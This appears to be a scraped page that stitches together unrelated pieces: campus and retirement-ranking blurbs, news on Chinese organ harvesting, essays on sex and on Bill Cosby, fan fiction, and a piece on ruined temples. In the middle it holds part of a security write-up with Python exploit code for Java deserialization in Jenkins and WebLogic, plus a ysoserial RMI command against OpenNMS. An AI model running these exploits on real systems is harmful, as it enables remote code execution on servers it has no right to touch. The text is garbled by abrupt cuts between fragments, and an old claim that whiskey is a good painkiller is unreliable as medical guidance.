UMass Amherst’s 1,400 acre campus is about 90 miles west of Boston. Currently, 22,000 undergraduate students attend the school.Several Bay Area cities make list of best places to retire in California
Click through this slideshow to see the best and worst places to retire in California, according to WalletHub. Click through this slideshow to see the best and worst places to retire in California, according to WalletHub. Photo: Douglas Sacha/Getty Images Photo: Douglas Sacha/Getty Images Image 1 of / 38 Caption Close Several Bay Area cities make list of best places to retire in California 1 / 38 Back to Gallery
Already thinking about where you're going to retire? If you live in the South Bay, you may not have to go far.
WalletHub released a list of the best and worst places to retire in California, and three Santa Clara County cities made the top five.
The site compared 250 cities across three categories to determine the city's final "retirement score," which ranges from 39 to 62, with 62 being the best.
SEE ALSO: The best places for Bay Area expats who want to live like a king
The three categories used to calculate the final score are "quality of life," "health care" and "activities." Each category is broken down further into subcategories, with each subcategory carrying its own weight.
For example, some of the subcategories under "quality of life" include adjusted cost of living, violent crime rates, and the "elder-friendliness" of the labor market.
A small city south of Los Angeles is the best California city in which to retire, according to the study.
TOP US CITIES TO LIVE: San Francisco can't even beat Omaha in study
San Francisco ranked 91st, with a retirement score of 51.37. The city ranked 239th in quality of life, 57th in health care, and third in activities.
Click through the slideshow to see the best and worst places to retire in California according to WalletHub.China has banned the harvesting of transplant organs from executed prisoners, a senior official said, but international medical practitioners warn that inmates' body parts may simply be reclassified as "donations" instead.
High demand for organs in China and a chronic shortage of donations mean that death row inmates have been a key source for years, generating heated controversy.
Since the start of this year, authorities have demanded all hospitals stop using organs harvested from executed prisoners, Huang Jiefu, head of the China Organ Donation Committee, reaffirmed on the sidelines of annual legislative meetings underway in Beijing, according to reports.
"China's organ donation industry has entered a new stage of development in which voluntary donation will be the only source of organs," Huang, a former vice health minister, said in an interview with China Business News published Tuesday.
Yet experts have voiced scepticism about the pledge, arguing that organs will continue to be harvested from inmates but that they will now be classified as "donations".
In a letter to The Lancet, a group of five medical professionals from the United States, UK and Australia -- including the executive director of non-profit Doctors Against Forced Organ Harvesting -- wrote that "current statements from China have a disconcerting sense of deja vu".
"China has avoided the end of use of organs from executed prisoners for a long time, with failed promises dating back to 2008," the five wrote in a letter in this week's issue of the medical journal.
"Additionally, prisoners have been redefined as citizens with the right to donate their organs, but the practice has not stopped," they wrote.
In a separate letter, four specialists from the United States, Germany, and Canada called on China to open its system to international inspections.
"China still uses organs from executed prisoners," they wrote. "The only difference is that these organs are now categorized as voluntarily donated organs from citizens. This change would officially bypass international ethical guidelines, and the unethical practice might never end."
They pointed to an interview last year in which Huang told the Beijing Times that death-row prisoners are still citizens and thus "they also have the right to donate organs".
"We aren't opposed to death row prisoners voluntarily donating their organs. We aren't depriving them of the right to donate," Huang said in the interview, noting that organs obtained from inmates would be entered into China's national voluntary organ donation system.
China banned trading in human organs in 2007, but demand for transplants far exceeds supply in the country of 1.37 billion people, opening the door to forced donations and illegal sales.
Organ donations are not widespread as many Chinese believe they will be reincarnated after death and therefore feel the need to keep a complete body. (+++++)I’ve often noticed people leaving comments based on the assumption that if someone who (you believe) has a penis and someone who (you believe) has a vagina are having sex, then they must be having penis-in-vagina sex. I’m not going to get into specifics here, because that isn’t anyone’s business, but the topic itself is relevant to just about everyone.
I’m sure that for many of you this will be incredibly obvious, but for others, it’s evidently not. Just because someone has a penis, it does not mean they are at all interested in using it to have vaginal sex – even if the possibility of vaginal sex is readily available to them. Likewise, not everyone with a vagina is interested in having it penetrated by a penis, even if a capable penis is available.
To some people, this apparently defies comprehension. I suppose that shouldn’t come as much of a surprise, as our culture and media often treat “sex” in general as equivalent to penis-in-vagina sex, presenting this as the predominant mode of sexual interaction.
Some will protest, “But this is how lots of people have sex!” And that’s certainly true. But the near-exclusive focus on PIV sex often serves to erase and delegitimize other forms of sex outside of the standard script, limiting people’s imaginations so severely that they might not even understand what anything beyond PIV might look like. When it’s not about a specific type of sex involving the interface between a penis and a vagina, a particular mechanics of sex centered on repeated thrusting, and a timeline of sex oriented around when the penis-bearer has an orgasm, people are seemingly lost.
This is a pretty ridiculous situation. I know we’re not all experts here, but it should be rather obvious that people’s bodies can be stimulated by more than just a penis or a vagina. Anyone with long enough arms should have a very… firm grasp of this.
Yet even when people realize why asking things like “how do lesbians have sex?” is ignorant and unimaginative, they often still persist in the attitude that anything other than PIV is not quite “real” sex. To them, PIV is the indisputable gold standard of sexual activity, the pinnacle of sex itself. Without it, the very fact of two (or more) people having had sex is considered vague, nebulous, and potentially in doubt, because the standard of a penis in a vagina has not been met.
This is more than just harmless nonsense. The narrow focus on PIV is largely responsible for the idea that oral and anal sex are “not really sex”, which is both a dangerous misconception, and sometimes an act of strategic ignorance within an obsolete value system. It also serves as a focal point for the concept of “virginity”, a model which fails to describe sexual experience in any meaningful way despite supposedly existing for this purpose, and instead functions to define a woman’s worth by the history of her vagina.
More than that, the belief that PIV sex is desired and engaged in by anyone for whom it’s possible has a darker side: it implies that those who don’t or can’t have PIV must be suffering in its absence, with their sexual activity being an unsatisfying simulacrum of “real” sex. This perpetuates the idea that the relationships of same-sex couples will always be inadequate in this respect – their sex will never be as good as that of heterosexuals, and as a result, neither will their companionship. And if a gay or lesbian couple does happen to have a combination of bodies which makes PIV sex possible, people assume that it would be their first choice by default. It’s as though they believe penises and vaginas behave like magnets: get them close enough, and contact is inevitable.
This is definitely not the case, and it’s an insult to all the people who are having completely awesome sex without a penis in a vagina. Their sex is real sex, no less real and no less satisfying than anyone else’s. How do they have sex? The answer is: However they want. So let’s stop making unwarranted assumptions about the ways people must be having sex, and the kinds of things they enjoy in bed. That’s just… fucked."Whiskey is one of the cheapest and best painkillers known to man." So reported Dr. Harold George Wolff of Cornell last week to the Association of American Physicians meeting at Atlantic City. Earlier doctors, he said, prescribed whiskey freely but were finally forced to discard it for "moral and ethical considerations.''
In their experiments, Drs. Wolff, James D. Hardy and Helen Goodell tried a mixture of two ounces of 95% grain alcohol in a glass of ginger ale on themselves, found that it raises the "threshold" of pain 45% for two hours. Two ounces of 90-proof whiskey will turn the same trick. If a five-grain tablet of aspirin is added, any pain can be dulled for four hours. Dr. Wolff urged his colleagues to return to the use of whiskey for "persons suffering continuously," especially cancer victims. Said he: "It is cheaper than morphine.... Of course alcohol is habit-forming but an alcohol habit is less difficult to deal with than a morphine habit."
See pictures of people making Whiskey.by
This one written by moi.
I still think, is this plausible? Will women tell me, no. You are mistaken.
But people are always telling each other they are mistaken about themselves.
This doesn’t feel like an identity. This feels like all the little pieces falling into place. The aberrations from what I thought was my path are now part of my path.
That’s what really strikes me, how well it all fits together, all these little things.
The friendships with heterosexual women that always ended when I felt like I was being used. The dodging around and through men, working to ally with sexually unavailable ones, and occasionally driving myself into bed with those who were available, to no avail.
Always drawing away to the men, women were too scary. Always too scary. Tormenting me on playgrounds as a child, later in high school, because I did not do the work required. I did not center the boys when with girls. I wondered at the girls, I tried to follow. But the boys were always an abstraction when I was around girls.
Other times the boys seemed like potential brothers, older brothers, and I would have liked to have older brothers, protectors. And I spent many years looking for older brothers, protectors. I am the oldest in all my family lines of my generation, and my fathers did not protect. I could have used some help.
But they always wanted sex, or if they did not, they suggested me to their friends. So I learned to dodge, to form attachments to unavailable men, sometimes painful ones. Often painful ones. All this not-knowing, while also yes-knowing, that I was engaging in an elaborate dance of avoidance of women.
Because women, I was groomed to believe, are all about sex. Sex sex mandatory sex, this is not optional, no matter with whom you do it.
It was like trying to hike through this endless labyrinth of canyons and mountains in the desert, looking for a path to somewhere, maybe somewhere in these mountains a home, maybe at least an occasional oasis, a spring. Someone to maybe help explain all this to me, because surely this is not all there is? This ongoing alienation and searching and wondering and it never being right and always blowing up in my face sooner or later, this caldera of my emotional life.
In the early 1980’s, I worked with a young woman |
74 onnect
Then we need to read the response back from the server, we can just throw it away if we want to, but we have to at least give it a chance to reply. Then we can send our second packet. Notice from the screenshot that this packet contains a serialized object (two infact). The first object is base64 encoded, which makes it a little easier to work with, so that’s the one we’ll be replacing with our payload. The object I’m talking about is made up of the following bytes, starting with “rO0”
00000036 3d 3d 3e 72 4f 30 41 42 58 4e 79 41 42 70 6f 64 ==>rO0AB XNyABpod 00000046 57 52 7a 62 32 34 75 63 6d 56 74 62 33 52 70 62 WRzb24uc mVtb3Rpb 00000056 6d 63 75 51 32 46 77 59 57 4a 70 62 47 6c 30 65 mcuQ2FwY WJpbGl0e 00000066 51 41 41 41 41 41 41 41 41 41 42 41 67 41 42 53 QAAAAAAA AABAgABS 00000076 67 41 45 62 57 46 7a 61 33 68 77 41 41 41 41 41 gAEbWFza 3hwAAAAA 00000086 41 41 41 41 50 34 3d AAAAP4=
To slightly complicate matters, we may also need to send the rest of that second packet, all the stuff that comes after the base64, so that Jenkins will behave correctly.
Python Exploit
Let’s break this down a few lines at a time. I won’t be pasting the full payload into the code because it takes too much space, see GitHub for running code.
First, we need to find out what port Jenkins CLI is running on on our target machine, the following code makes an HTTP request and reads the appropriate header that has that information in the response into the variable “cli_port”:
#!/usr/bin/python #usage:./jenkins.py host port /path/to/payload import socket import sys import requests import base64 host = sys.argv[1] port = sys.argv[2] #Query Jenkins over HTTP to find what port the CLI listener is on r = requests.get('http://'+host+':'+port) cli_port = int(r.headers['X-Jenkins-CLI-Port'])
Next, we need to make a TCP connection to that port on the remote host so we can send our payload:
#Open a socket to the CLI port sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (host, cli_port) print 'connecting to %s port %s' % server_address sock.connect(server_address)
Finally we can get started. Remember that first packet in the stream we saw in wireshark that initiated the CLI protocol? Let’s send that to the remote server and read it’s response, it responds with 2 packets, so we’ll call “recv” twice:
# Send headers headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74' print'sending "%s"' % headers sock.send(headers) data = sock.recv(1024) print >>sys.stderr,'received "%s"' % data data = sock.recv(1024) print >>sys.stderr,'received "%s"' % data
You might be wondering where all that “\x00\x14” stuff came from. I just copied it out of Wireshark and used some magic keyboard shortcuts in SublimeText to cut out the middle column of hex, I’m going to do that with the payloads too. This lets us send raw, unadulterated binary data to the server.
Next we need to construct our payload:
payloadObj = open(sys.argv[3],'rb').read() payload_b64 = base64.b64encode(payloadObj) payload='\x3c\x3d\x3d\x3d\x5b\x4a\x45\x4e\x4b\x49\x4e\x53\x20\x52\x45\x4d\x4f\x54\x49\x4e\x47\x20\x43\x41\x50\x41\x43\x49\x54\x59\x5d\x3d\x3d\x3d\x3e'+payload_b64+'\x00\x00\x00\x00\x11\x2d\xac..........
The variable “payloadObj” is just the binary generated by the “ysoserial” tool. I have this as the third argument to the script. I then base64 encode this. Remember that the object in the TCP stream we saw was base64 encoded.
Next we construct the payload by concatenating the first set of bytes, which is actually just “<===[JENKINS REMOTING CA PACITY]===>” in hex, with the base64’d payload. Finally we contactenate ALL of that with the remainder of the bytes from the packet we saw in the TCP stream, these were just copied/pasted from Wireshark.
Finally, we fire that payload off at the Jenkins server:
print'sending payload...' '''outf = open('payload.tmp','w') outf.write(payload) outf.close()''' sock.send(payload)
And we confirm the the file exits at /tmp/pwned!
breens@us-l-breens:~$ ls /tmp/pwned /tmp/pwned
Exploit 4 – WebLogic
WebLogic was a bit of a headache but really interesting. To be honest, we see it less often in the wild, but it is out there.
I’m not very familiar with WebLogic. The exploit runs against the default install on port 7001 – the default and only listening port. WebLogic is kind of cool because it proxies all requests through this port, HTTP, SNMP, T3, and a few other protocols. Depending what protocol it detects it as, it routes it to the right place.
With that said, it’s possible that this vulnerability could be used against WebLogic servers on the Internet due to the fact that it’s unlikely a firewall will get in your way.
Vulerability Detection
For anyone who has actually read this far, congratulations, I think you can guess what I’m about to do.
First I grep for the vulnerable classes to see if WebLogic comes bundled with them:
root@us-l-breens:/opt/OracleHome# grep -R InvokerTransformer. Binary file./oracle_common/modules/com.bea.core.apache.commons.collections.jar matches
Looks like it’s there. Interestingly they renamed the jar file, so if you were just looking for “commons-collections.jar” you might not have found it.
Next we need to find an entry point where we can send serialized objects. I’ve had pretty good luck monitoring the traffic coming from commandline tools so far, so why not try it again.
Just fire up wireshark to watch the traffic, and then run the command to stop the server, I purposely typed the wrong password to make sure we aren’t cheating:
root@us-l-breens:/opt/OracleHome/user_projects/domains/base_domain/bin#./stopWebLogic.sh Stopping Weblogic Server... Initializing WebLogic Scripting Tool (WLST)... Welcome to WebLogic Server Administration Scripting Shell Type help() for help on available commands Please enter your username :weblogic Please enter your password : Connecting to t3://us-l-breens:7001 with userid weblogic... This Exception occurred at Thu Nov 05 18:32:46 EST 2015. javax.naming.AuthenticationException: User failed to be authenticated. [Root exception is java.lang.SecurityException: User failed to be authenticated.] Problem invoking WLST - Traceback (innermost last): File "/opt/OracleHome/user_projects/domains/base_domain/shutdown-AdminServer.py", line 3, in? File "<iostream>", line 19, in connect File "<iostream>", line 553, in raiseWLSTException WLSTException: Error occurred while performing connect : User failed to be authenticated. : User failed to be authenticated. Use dumpStack() to view the full stacktrace : Done Stopping Derby Server...
Lets take a look at what that generated in Wireshark:
Somewhere about halfway down in that screenshot, we see the magic bytes “ac ed 00 05”.
Exploit Development
Similar to Jenkins, we’re going to have to wrap our payload in some magic. WebLogic is using the “T3” protocol. The T3 protocol, just like HTTP can transport arbitrary data, and in this case it is carrying serialized Java objects.
Unlike HTTP it’s not very well documented and is a binary protocol, so is extremely finicky. I could lie to you and say this took me 15m to figure out, but it actually took a few hours.
First Attempt
Looking at the screenshot of the hex dump above, the first packet is pretty easy to replicate, we can just copy the bytes right out of Wireshark and paste them into a Python script, no problem. WebLogic will then respond with the packet highlighted in blue, meaning it’s ready for us to fire over the payload.
Things now get a bit messy. Unlike Jenkins, we don’t have a nice clean place to plug a base64 payload into the binary stream.
A naive but good first attempt would be to copy all the bytes in the second packet before “ac ed 00 05” (this is the start of their serialized object), concatenate our payload onto the end of that, and send it over. The idea here is that the beginning part of the packet doesn’t need to change to accomodate our payload.
Unfortunately this wont quite work. What we need to do is insert our payload into packet without mucking up the T3 protocol that is wrapping the Java object.
Object Carving
The first thing we need to do is identify where the objects in the packet begin and end. Right now I know that all Java objects begin with “ac ed 00 05”, but this packet consists of more than just Java objects.
To accomplish this, I wrote the following java code:
import java.util.Base64; import java.io.InputStream; import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; import java.io.OptionalDataException; import java.io.StreamCorruptedException; import java.util.Arrays; public class DecodeObject{ public static void main(String args[]) throws Exception{ int skip=0; int remainder = 0; String b64 = args[0]; byte[] bytes = Base64.getDecoder().decode(b64); ByteArrayInputStream bis = new ByteArrayInputStream(bytes); int origSize = bis.available(); System.out.println("Data Length: "+origSize); Object o = null; while(o == null){ try{ bis.reset(); bis.skip(skip); ObjectInputStream ois = new ObjectInputStream(bis); o = ois.readObject(); System.out.println("Object found..."); System.out.println(o.getClass().getName()); System.out.println("Bytes skipped: "+skip); System.out.println("Bytes left: "+bis.available()); skip = origSize - bis.available(); } catch (StreamCorruptedException ode){ skip = skip+1; bis.skip(1); } catch (OptionalDataException ode){ bis.skip(1); skip = skip+1; } catch (ClassNotFoundException cnf) { System.out.println("Object found..."+cnf.getMessage()); System.out.println("Bytes skipped: "+skip); System.out.println("Bytes left: "+bis.available()); skip = origSize - bis.available(); } } } }
This code reads base64 encoded data from the commandline and will attempt to locate all of the objects. I copied the interesting packet out of Wireshark, base64 encoded it, and then ran the above code to get the following output:
breens@us-l-breens:~/Desktop$ java DecodeObject AAAF9QFlAf//////////AAAAcQAA6mAAAAAYUlE9bFBCMe28Nw2dEVsi2/jvDmamiKsFAnlzcgB4cgF4cgJ4cAAAAAwAAAACAAAAAAAAAAAAAAABAHBwcHBwcAAAAAwAAAACAAAAAAAAAAAAAAABAHAG/gEAAKztAAVzcgAdd2VibG9naWMucmp2bS5DbGFzc1RhYmxlRW50cnkvUmWBV/T57QwAAHhwcgAkd2VibG9naWMuY29tbW9uLmludGVybmFsLlBhY2thZ2VJbmZv5vcj57iuHskCAAlJAAVtYWpvckkABW1pbm9ySQALcGF0Y2hVcGRhdGVJAAxyb2xsaW5nUGF0Y2hJAAtzZXJ2aWNlUGFja1oADnRlbXBvcmFyeVBhdGNoTAAJaW1wbFRpdGxldAASTGphdmEvbGFuZy9TdHJpbmc7TAAKaW1wbFZlbmRvcnEAfgADTAALaW1wbFZlcnNpb25xAH4AA3hwdwIAAHj+AQAArO0ABXNyAB13ZWJsb2dpYy5yanZtLkNsYXNzVGFibGVFbnRyeS9SZYFX9PntDAAAeHByACR3ZWJsb2dpYy5jb21tb24uaW50ZXJuYWwuVmVyc2lvbkluZm+XIkVRZFJGPgIAA1sACHBhY2thZ2VzdAAnW0x3ZWJsb2dpYy9jb21tb24vaW50ZXJuYWwvUGFja2FnZUluZm87TAAOcmVsZWFzZVZlcnNpb250ABJMamF2YS9sYW5nL1N0cmluZztbABJ2ZXJzaW9uSW5mb0FzQnl0ZXN0AAJbQnhyACR3ZWJsb2dpYy5jb21tb24uaW50ZXJuYWwuUGFja2FnZUluZm/m9yPnuK4eyQIACUkABW1ham9ySQAFbWlub3JJAAtwYXRjaFVwZGF0ZUkADHJvbGxpbmdQYXRjaEkAC3NlcnZpY2VQYWNrWgAOdGVtcG9yYXJ5UGF0Y2hMAAlpbXBsVGl0bGVxAH4ABEwACmltcGxWZW5kb3JxAH4ABEwAC2ltcGxWZXJzaW9ucQB+AAR4cHcCAAB4/gEAAKztAAVzcgAdd2VibG9naWMucmp2bS5DbGFzc1RhYmxlRW50cnkvUmWBV/T57QwAAHhwcgAhd2VibG9naWMuY29tbW9uLmludGVybmFsLlBlZXJJbmZvWFR085vJCPECAAdJAAVtYWpvckkABW1pbm9ySQALcGF0Y2hVcGRhdGVJAAxyb2xsaW5nUGF0Y2hJAAtzZXJ2aWNlUGFja1oADnRlbXBvcmFyeVBhdGNoWwAIcGFja2FnZXN0ACdbTHdlYmxvZ2ljL2NvbW1vbi9pbnRlcm5hbC9QYWNrYWdlSW5mbzt4cgAkd2VibG9naWMuY29tbW9uLmludGVybmFsLlZlcnNpb25JbmZvlyJFUWRSRj4CAANbAAhwYWNrYWdlc3EAfgADTAAOcmVsZWFzZVZlcnNpb250ABJMamF2YS9sYW5nL1N0cmluZztbABJ2ZXJzaW9uSW5mb0FzQnl0ZXN0AAJbQnhyACR3ZWJsb2dpYy5jb21tb24uaW50ZXJuYWwuUGFja2FnZUluZm/m9yPnuK4eyQIACUkABW1ham9ySQAFbWlub3JJAAtwYXRjaFVwZGF0ZUkADHJvbGxpbmdQYXRjaEkAC3NlcnZpY2VQYWNrWgAOdGVtcG9yYXJ5UGF0Y2hMAAlpbXBsVGl0bGVxAH4ABUwACmltcGxWZW5kb3JxAH4ABUwAC2ltcGxWZXJzaW9ucQB+AAV4cHcCAAB4/gD//gEAAKztAAVzcgATd2VibG9naWMucmp2bS5KVk1JRNxJwj7eEh4qDAAAeHB3RiEAAAAAAAAAAAAJMTI3LjAuMS4xAAt1cy1sLWJyZWVuc6U8r/EAAAAHAAAbWf///////////////////////////////wB4/gEAAKztAAVzcgATd2VibG9naWMucmp2bS5KVk1JRNxJwj7eEh4qDAAAeHB3HQEWYNfJ8RaIywAJMTI3LjAuMS4xpTyv8QAAAAAAeA== Data Length: 1525 Object found...weblogic.rjvm.ClassTableEntry Bytes skipped: 118 Bytes left: 1154 Object found...weblogic.rjvm.ClassTableEntry Bytes skipped: 375 Bytes left: 745 Object found...weblogic.rjvm.ClassTableEntry Bytes skipped: 784 Bytes left: 196 Object found...weblogic.rjvm.JVMID Bytes skipped: 1336 Bytes left: 76 Object found...weblogic.rjvm.JVMID Bytes skipped: 1453 Bytes left: 0
Using this output, we can draw a few conclusions. First, in the ONE packet, there are contained 5 Java objects. This matches what I expect, if you look for “ac ed 00 05” in the raw binary, you will find 5 occurences.
More interestingly, we can see the exact location in the binary stream of each object, its beginning and end. For example the first object occupies bytes 118 to (1525-1154) = 371. The second object occupies bytes 375 to (1525-745)=780.
So in theory, if we replace one of these objects with our payload from ysoserial, and don’t muck with any of the other bytes, it should all just work…
One Final Detail
Spoiler alert – it won’t just work. The objects are wrapped inside the “T3” protocol. The very first few bytes of the packet in T3 specify the total message length. If we fail to adjust this length, our payload won’t fit into the message, and when Java tries to unserialize it, it will blow up with an “EOFException”, meaning it hit the end of the file before it was done reading.
How did I figure this out? I attached the NetBeans debugger to the WebLogic process. I then decompiled the WebLogic JAR file that contained the class where the EOFException was originating – this is the code where our message is being processed. I fed NetBeans the decompiled source files and used them to step through the running code. In my experience you can fix anything in Java, even in big clunky proprietary products using this methdology.
Python Exploit
So let’s put it all together in Python. Obviously I won’t be pasting the full payload since it’s just too large, but the full code can be found on GitHub.
First, we need to establish a TCP connection to the target:
#!/usr/bin/python #Usage:./poc.py host port /path/to/payload import socket import sys sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (sys.argv[1], int(sys.argv[2])) print 'connecting to %s port %s' % server_address sock.connect(server_address)
Next, if you recall from the packet dump in Wireshark, we have to send a message to tell WebLogic that we want to talk using the T3 protocol. After we send the message, we also need to wait for WebLogic’s response:
# Send headers headers='t3 12.2.1
AS:255
HL:19
MS:10000000
PU:t3://us-l-breens:7001
' print'sending "%s"' % headers sock.sendall(headers) data = sock.recv(1024) print >>sys.stderr,'received "%s"' % data
Next we need to create and send our payload. This is obviously the tricky part. The payload will be composed in three chunks. The first chunk will be all of the bytes that come before the output of “ysoserial”. I decided to replace the SECOND object in the stream, meaning the first chunk of my payload will contain all the T3 headers, and the first Java object that was in the original data.
The second chunk of the payload will simply be the output of “ysoserial”.
The third chunk will be all of the bytes that came after the second object in the stream.
payloadObj = open(sys.argv[3],'rb').read() payload='\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\x........... payload=payload+payloadObj payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x........... print'sending payload...' '''outf = open('payload.tmp','w') outf.write(payload) outf.close()''' sock.send(payload)
A very important point about the first chunk of the payload. Notice the first 4 bytes “00 00 09 f3”. The “09 f3” is the specification for the TOTAL payload length in bytes. For MY payload if do:
>>> len(payload) 2547
I get the length 2547, which translates to “9F3” in hex. You might have to adjust this depending on the payload you decide to use. You can easily do this dynamically as well, I’ll leave that as an exercise for the reader :).
If you did everything just right, the “sock.send(payload)” line should fire it off and run your remote command!
Exploit 5 – OpenNMS through RMI
I mentioned in the beginning of this post that RMI was trivially vulnerable to this. The entire concept of Java RMI is built on object deserialization, if you can see the TCP ports associate with an RMI service open, and that service has the commons library available, you can pop it.
We use OpenNMS as an example here just because we already had it installed and know that it runs RMI. Usually RMI listens on TCP port 1099, so if you’re curious whether your machine or your target is running it, just simply nmap for 1099/TCP or use “lsof -i -P | grep java | grep LISTEN” and look for it.
The exploit in this case didn’t require much effort. The authors of “ysoserial” provide proof of concept with the tool. It can be used as follows:
java -cp ysoserial-0.0.1-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
Easy as that. This will run “calc.exe” on the target host, assuming RMI is running on port 1099. We confirmed this worked on the latest version of OpenNMS.
The Fix – Kind of…
Going forward, developers should take this as an example of why it’s not safe to unserialize untrusted data. Unfortunately in the Java world, so much is built on the concept that this is okay, it’s going to take a long time to move away from that.
In the meantime, we’re stuck with putting out the current fire, and that is the commons-collections library. Whatever your application is that you suspect is vulnerable, I suggest spinning it up in a test environment. The first thing you can try is the following:
root@us-l-breens:/opt/apache-tomcat-8.0.28# grep -Rl InvokerTransformer../webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar
This identifies any jar or class files that contain the vulnerable library. If you’re particularly brave, you can simply delete all of the associated files and hope for the best. I’d suggest very thorough testing after this procedure.
For those faint of heart, you can be a little more surgical about it. If we examine the two exploits provided by the “ysoserial” tool, we can see that they both rely on the “InvokerTransformer” class. If we remove this class file everywhere it exists, any attempted exploits should fail. Feel free to open up your jar files with your expired copy of Winzip and delete the file at “org/apache/commons/collections/functors/InvokerTransformer.class”.
Again, I would suggest very thorough testing after this procedure, but unless you’re actually using the InvokerTransformer in your code (or something that relies on it), this shouldn’t break anything.What do you do when your partner is a Cosby caper?
With the latest developments in the Bill Cosby sexual assault allegations making the rounds, I am once again faced with deleting and blocking opinions from colleagues that deny the existence of rape culture. Everything from “he’s done so much for black people” to “he’s America’s dad” doesn’t add up as an excuse for a man that has admitted to drugging women and then having sex with them.
More: #WhyWeStay: Because it’s more complicated than you think
I’m struggling with the image of Bill Cosby in a Huxtable sweater doing his deeds and making the Jell-O Pudding Pop face in the middle of foreplay. It’s almost as if my black childhood make-believe family just admitted to having a rapey uncle at the family reunion. Yet as a woman with high values on my sexual freedoms and the protection of such, I can’t ignore how disturbing these facts are within my community. What I didn’t factor in was that my partner of eight years would defend such problematic behavior. Now I’m laying next to a man that I no longer feel safe with, and I’m questioning if I should keep our relationship going.
I’ve managed to look past my partner’s hyper-hetero back talk when it comes to Caitlyn Jenner. As a black man who grew up in a rich hip-hop culture with a chauvinistic father, I can’t blame him for his initial defense of Cosby. I know women that have lied about sexual abuse, and I’ve stood as a witness in a court case where a friend was facing similar, yet false, charges. I need my partner to understand that women need to feel safe and protected when it comes to anything in their lives.
More: 10 Reactions your sig-o has when you’re negative about your body
No matter how much someone donates to a college or speaks on the value of family, I wouldn’t want these acts of selfishness to cover up decades-long behavior that harmed others.
Given Cosby’s influence, I really can’t understand why he would make so many extremely poor choices outside of having severe mental and emotional issues when it comes to women. I am all about forgiveness when one is honest about their past and willing to make up for their misgivings. But watching the love of my life stand firm in the idea that “He was trapped,” “Women are liars,” “They knew what the deal was anyway” is a small sign of the similar sick thoughts that Cosby may have displayed as well. I’m scared, sad and facing the reality of ending something I worked hard at for so long in order to ensure a safe place for myself and family I desire.
Looks like America’s dad continues to show us key lessons in life after all."Sentinel did not earn his name, it was merely gifted. When a changeling proves his worth to his noble hierarchic he would be named appropriately. All changelings born are not gifted an name unless they have done a feat worthy of recognition. For Sentinel, however, his name was borrowed from a long history of warriors. After a devastating loss of their capital, to where he was in charge of it's defense, he was to be branded a traitor and be killed. However, three hierarchs of the Changeling Kingdom had other plans. He is only gifted with this name to for fill this one function. To seek out the traitors to throne. He is sent out to hunt down Elania, the false heir. For years, he spent his time in servitude, searching for the traitor and the family. Once he finds the family he seeks out their lives and he and his personal guards are to bring the traitors down. However, there is more to this tale then meets the eye. When Sentinel finally meets the Elusive traitor, he senses something more about her then what was described. Now, wanting to know the truth, the two will embark on tale like no other, and bring out the real traitors in this grand design.Some historic, religious structures, like Angkor Wat in Cambodia or the pyramids in Egypt, draw hundreds of thousands of tourists each year. Other temples, tombs and mosques, no less spectacular than their tourist-heavy peers, have been reclaimed by nature, turning from architectural marvels into man-made shells covered with trees, plants, vines, or sand. Despite being aged and broken down, the unique hybrid of man-made elements and natural ones makes the ruins below as spectacular as when they were newly constructed.
Beng Mealea, Cambodia
(image via writer128)
Angkor Wat, in Siem Reap, Cambodia, is one of Southeast Asia’s biggest tourist draws. The most intact and spectacular group of temples is instantly recognizable because of their tall towers and intricate carvings. Most people forget about the other temples scattered in a hundred km radius of the main complex. Beng Mealea (about 60 clicks from Angkor) is most unrestored, but impressively large, structure with trees and vines thriving all over the grounds.
Ta Phrom
(image via Imaji)
This has become one of Cambodia’s most famous temples, partially because it was featured in one of the Tomb Raider movies. Visitors line up for their chance to snap the obligatory “roots hugging ruins” shot. It is hardly the wild experience that those pix might suggest, but impressive nonetheless.
Cham Ruins, Vietnam
(images via sixty4coupe and cgerb)
The Cham ruins found in central Vietnam date back to pre-Buddhist times. There is a strong Hindu influence in these nearly completely unrestored structures. Unfortunately, some of the temples were destroyed during heavy fighting in the 1960s.
Nepal
(images via Mendkak)
Roadside shrines are a regular feature of the geography of Nepal. Some have mysterious histories and are the sources of almost mythical stories. Others simply sit quietly on the hillsides, seemingly at peace with their ever encroaching surroundings.
Bali
(images via crystalsunset and gonetilwhenever)
Bali’s Hindu temples have an otherworldly vibe. The vertical, ancient structures are decorated with dramatic statues and carvings. Bali is one of Indonesia’s greenest islands, and nature finds its way into everything, even these storied religious monuments.
East Africa
(images via kelceyhoff and squinchez)
East Africa is home to some of the oldest religious buildings in the world. Temples, mosques and churches from a thousand years ago (or more) are found throughout Kenya, Tanzania, Somalia and Eritrea. Some, like the Gedi Mosque (at left), were recently excavated. Many more remain mostly untouched by anything except nature.
Middle East
The Middle East is home to numerous abandoned religious structures. Some have simply fallen into disuse because of their sheer age. Such was the case for the mosque, at left, in Egypt.
Mosques in the disputed Golan Heights are recent ruin: the result of years of conflict between the major religious groups in the area. The structures are simply left to the desert because it is not possible to safely return them to their former glory.
Churches
(image via romancatholicvocations)
Abandoned churches can be found throughout the U.S., especially in rural areas. The lack of funding and religious leadership have caused some of these churches, like the one is rural Minnesota above, to close their doors.
India’s Best Archaeological Site
(image via backpakker)
The recently discovered Talakadu temples were hidden for years under the sand near the Indian city of Bangalore. The relative remoteness of this collection of temples (most devoted to Shiva) makes up for the feeling that the temple lacks the “undiscovered” vibe of many of the other sites on this list.
Tombs of the Kings, Central Vietnam
(image via lollopolez and travelblog.org)
The tombs of Vietnam’s ancient kings line the Perfume River, near the city of Hue in Central Vietnam. Tourists can get to these sites by boat, though a hike is sometimes necessary for some of the older sites. Some of these tombs are cleared, though you still have to watch your step, lest you walk on a snake or get lost among tangled vines.
Babri Mosque
(image via muslimmedianetwork)
The Babri Mosque was one of the most notable religious structures in India prior to its 1992 demolition. Its history was disputed, and no one is exactly sure of the exact truth. The temple was destroyed by a group of Hindu nationalists after years of arguments and conflict between Hindu, Muslim and Jainist groups.Sonic Forces Release Date Leaked
